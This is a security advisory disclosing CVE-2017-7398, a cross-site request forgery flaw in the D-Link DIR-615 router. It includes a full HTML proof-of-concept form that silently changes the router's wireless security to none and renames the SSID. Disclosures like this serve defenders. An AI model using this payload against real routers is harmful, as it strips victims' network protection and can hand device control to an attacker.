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Cross-site request forgery (CSRF) vulnerability in the D-Link (DIR 615 ) Wireless Router Firmware:20.09

From: pratik shah <pratik.mhaswadkar () gmail com>
Date: Sun, 2 Apr 2017 21:02:38 +0530

*Title:*
====

D-Link DIR 615 HW: T1 FW:20.09 is vulnerable to Cross-Site Request Forgery
(CSRF) vulnerability



*Credit:*
======

Name: Pratik S. Shah



*Reference:*
=========

CVE Details: CVE-2017-7398.



*Date:*
====

1-04-2017



*Vendor:*
======

D-Link wireless router



*Product:*
=======

DIR-615


*Affected Version:*
=============

Hardware: T1 , Firmware: 20.09



*Abstract:*
=======

D-Link DIR 615 (HW: T1 FW:20.09) is vulnerable to Cross-Site Request
Forgery (CSRF) vulnerability. This enables an attacker to perform an
unwanted action on a wireless router for which the user/admin is currently
authenticated.



*Attack Type**:*
===================

Remote



*Details:*
=========

CSRF vulnerability in D-link DIR 615 wireless router enables an attacker to
perform unwanted actions on router, which may lead to gaining full control
of the device.



*Proof Of Concept:*
================

1) User login to D-link DIR 615 wireless router

2) User visits the attacker's malicious web page (DlinkCSRF.html)

3) DlinkCSRF.html exploits CSRF vulnerability and changes the Security
Options to None



This is the CSRF POC for changing the Security option from WPA2 to None(
Parameter: Method)

Attacker can also tamper following parameters

   - *hiddenSSID*
   - *SSID*
   - *Passwords for all the applicable security options*





<html>

  <!-- CSRF PoC - D-link DIR 615 HW:T1 FW:20.09  -->

  <body>

    <form action="http://192.168.0.1/form2WlanBasicSetup.cgi"; method="POST">

      <input type="hidden" name="domain" value="1" />

      <input type="hidden" name="hiddenSSID" value="on" />

      <input type="hidden" name="ssid" value=“Hacked” />

      <input type="hidden" name="band" value="10" />

      <input type="hidden" name="chan" value="0" />

      <input type="hidden" name="chanwid" value="1" />

      <input type="hidden" name="txRate" value="0" />

      <input type="hidden" name="method&#95;cur" value="6" />

      <input type="hidden" name="method" value="0" />

      <input type="hidden" name="authType" value="1" />

      <input type="hidden" name="length" value="1" />

      <input type="hidden" name="format" value="2" />

      <input type="hidden" name="defaultTxKeyId" value="1" />

      <input type="hidden" name="key1" value="0000000000" />

      <input type="hidden" name="pskFormat" value="0" />

      <input type="hidden" name="pskValue" value=“CSRF@test” />

      <input type="hidden" name="checkWPS2" value="1" />

      <input type="hidden" name="save" value="Apply" />

      <input type="hidden" name="basicrates" value="15" />

      <input type="hidden" name="operrates" value="4095" />

      <input type="hidden" name="submit&#46;htm&#63;wlan&#95;basic&#46;htm"
value="Send" />

      <input type="submit" value="Submit request" />

    </form>

  </body>

</html>



Disclosure Timeline:
======================================
Vendor Notification: 6th March 2017


--

Pratik S. Shah

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Cross-site request forgery (CSRF) vulnerability in the D-Link (DIR 615 ) Wireless Router Firmware:20.09 pratik shah (Apr 03)